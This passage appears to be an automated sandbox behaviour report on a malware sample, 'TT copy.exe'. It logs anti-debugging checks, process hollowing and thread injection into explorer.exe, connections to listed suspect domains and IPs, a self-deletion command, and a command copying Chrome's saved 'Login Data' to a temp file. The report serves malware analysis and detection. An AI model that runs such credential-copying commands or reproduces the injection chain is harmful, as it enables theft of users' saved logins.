Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DAC7B mov eax, dword ptr fs:[00000030h]	15_2_051DAC7B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DAC7B mov eax, dword ptr fs:[00000030h]	15_2_051DAC7B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DAC7B mov eax, dword ptr fs:[00000030h]	15_2_051DAC7B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051C746D mov eax, dword ptr fs:[00000030h]	15_2_051C746D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0523C450 mov eax, dword ptr fs:[00000030h]	15_2_0523C450
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0523C450 mov eax, dword ptr fs:[00000030h]	15_2_0523C450
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051B849B mov eax, dword ptr fs:[00000030h]	15_2_051B849B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05264496 mov eax, dword ptr fs:[00000030h]	15_2_05264496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226CF0 mov eax, dword ptr fs:[00000030h]	15_2_05226CF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226CF0 mov eax, dword ptr fs:[00000030h]	15_2_05226CF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05226CF0 mov eax, dword ptr fs:[00000030h]	15_2_05226CF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_052614FB mov eax, dword ptr fs:[00000030h]	15_2_052614FB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_05278CD6 mov eax, dword ptr fs:[00000030h]	15_2_05278CD6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051CF716 mov eax, dword ptr fs:[00000030h]	15_2_051CF716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DA70E mov eax, dword ptr fs:[00000030h]	15_2_051DA70E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051DA70E mov eax, dword ptr fs:[00000030h]	15_2_051DA70E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_051CB73D mov eax, dword ptr fs:[00000030h]	15_2_051CB73D

Source: C:\Users\user\Desktop\TT copy.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\TT copy.exe

Code function: 3_2_0040A150 LdrLoadDll,

3_2_0040A150

Source: C:\Users\user\Desktop\TT copy.exe

Memory allocated: page read and write | page guard

System process connects to network (likely due to code injection or exploit)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\explorer.exe	Network Connect: 107.187.232.173 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.huiyi-sui.com
Source: C:\Windows\explorer.exe	Domain query: www.sarrafguler.com
Source: C:\Windows\explorer.exe	Network Connect: 23.227.38.74 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 18.193.36.153 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 66.96.162.130 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 198.44.241.20 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 172.16.0.13 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 154.36.145.110 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.pheife.com
Source: C:\Windows\explorer.exe	Domain query: www.sassafrasriver.info
Source: C:\Windows\explorer.exe	Network Connect: 185.254.241.173 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.drivetrianrepair.com
Source: C:\Windows\explorer.exe	Domain query: www.theflysnare.com
Source: C:\Windows\explorer.exe	Network Connect: 162.213.255.237 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.408wmountain.info
Source: C:\Windows\explorer.exe	Domain query: www.shopcycles3.com
Source: C:\Windows\explorer.exe	Domain query: www.sinsegae.net
Source: C:\Windows\explorer.exe	Domain query: www.huayugw.com

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\TT copy.exe

Section unmapped: C:\Windows\SysWOW64\rundll32.exe base address: FC0000

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\TT copy.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: unknown protection: read write	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\TT copy.exe

Memory written: C:\Users\user\Desktop\TT copy.exe base: 400000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\TT copy.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\TT copy.exe	Thread register set: target process: 3616			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread register set: target process: 3616			Jump to behavior

Source: C:\Users\user\Desktop\TT copy.exe	Process created: C:\Users\user\Desktop\TT copy.exe C:\Users\user\Desktop\TT copy.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\TT copy.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V	Jump to behavior

Source: explorer.exe, 00000007.00000000.409321341.0000000005610000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.289551295.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.334016110.0000000005E60000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000000.401387275.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.289551295.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.326475349.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000007.00000000.289551295.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.326911519.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.401717230.0000000000B50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager,
Source: explorer.exe, 00000007.00000000.289551295.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.326911519.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.401717230.0000000000B50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Users\user\Desktop\TT copy.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TT copy.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
